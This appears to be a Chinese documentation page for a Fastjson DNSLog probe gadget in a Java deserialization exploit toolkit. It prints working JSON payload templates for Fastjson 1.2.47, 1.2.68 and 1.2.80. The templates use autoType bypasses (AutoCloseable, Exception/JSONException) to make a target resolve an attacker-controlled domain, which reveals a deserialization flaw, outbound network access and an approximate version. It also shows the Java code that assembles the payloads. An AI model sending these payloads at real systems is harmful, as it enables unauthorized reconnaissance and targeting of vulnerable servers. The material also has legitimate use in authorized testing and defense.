Skip to content

Latest commit

 

History

History
79 lines (67 loc) · 4.08 KB

File metadata and controls

79 lines (67 loc) · 4.08 KB

Fastjson DNSLog(FastjsonDns)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖fastjson 1.2.x

作用

生成一段最小化的 Fastjson JSON 探测 payload:反序列化时通过 java.net.Inet4Address / java.net.InetSocketAddress 等类的构造/解析触发一次 DNS 解析,向攻击者可控域名发起 DNS 请求,用于无回显探测目标是否存在 Fastjson 反序列化点及出网能力。不实现 RCE,属探测/END 型 gadget。

链接标签

  • 入口 tagsFastjsonPayloadEND —— 承接 Fastjson payload 入口;END 表示自成终点(DNS 探测即最终效果)。
  • 衔接 nextTags:无 —— 终端 gadget,不再串接下游。
  • excludes:无。

源码剖析

本类不调用 chain.doCreateinvoke 直接返回自身根据版本拼装的 JSON:

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}

public Object getObject() {
    if (this.FastJsonVersion.equals("1.2.47")) {
        payload = String.format(template, this.domain);
    } else if (this.FastJsonVersion.equals("1.2.68")) {
        payload = String.format(template3, this.domain);
    } else if (this.FastJsonVersion.equals("1.2.80")) {
        payload = String.format(template2, this.domain, this.domain);
    }
    return payload;
}

三套按版本切换的模板:

template(1.2.47,最简):

{"@type":"java.net.Inet4Address","val":"%s"}

Inet4Addressval 反序列化时会对域名做 DNS 解析,直接触发一次请求。

template3(1.2.68,AutoCloseable + ByteArrayOutputStream 绕 autoType 后接 InetSocketAddress):

[
  { "@type": "java.lang.AutoCloseable", "@type": "java.io.ByteArrayOutputStream" },
  { "@type": "java.io.ByteArrayOutputStream" },
  { "@type": "java.net.InetSocketAddress" { "address":, "val": "%s" } }
]

java.lang.AutoCloseable@type 绕过 1.2.68 的 autoType 限制,再用 InetSocketAddress 触发解析。

template2(1.2.80,Exception + JSONException 绕过,两个域名各一次请求):

[
  { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException",
    "x": { "@type": "java.net.InetSocketAddress" { "address":, "val": "first.%s" } } },
  { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException",
    "message": { "@type": "java.net.InetSocketAddress" { "address":, "val": "second.%s" } } }
]

利用 java.lang.Exceptioncom.alibaba.fastjson.JSONException 的 autoType 绕过(异常类在 1.2.80 白名单内),内嵌 InetSocketAddress 触发 DNS。该版本 payload 对 <=1.2.80 收到 1 个 DNS 请求、1.2.83 收到 2 个请求(first./second. 前缀便于区分版本,见 description)。

参数(@Param)

字段 名称 说明 默认 可选值
domain DNSLog domain 攻击者可控的 DNSLog 域名 xxx.dnslog.cn
FastJsonVersion Fastjson版本 选目标 fastjson 版本对应的 DNS 探测模板;1.2.80 的 payload 对 <=1.2.80 收 1 个 DNS 请求,1.2.83 收 2 个 1.2.47 1.2.471.2.681.2.80

适用版本与原理要点

  • 覆盖 fastjson 1.2.x 主流版本,分 1.2.47 / 1.2.68 / 1.2.80 三档绕过模板。
  • 纯探测用途:只触发 DNS 解析,不加载类、不 RCE,故不依赖除 fastjson 外的第三方组件,通用性最强。
  • 可依据收到的 DNS 请求数量/前缀粗略判断目标 fastjson 版本区间。

所属预设链

自由构件,未直接出现在预设链(usedInChains 为空)。带 END,独立作为探测 payload 使用。

关联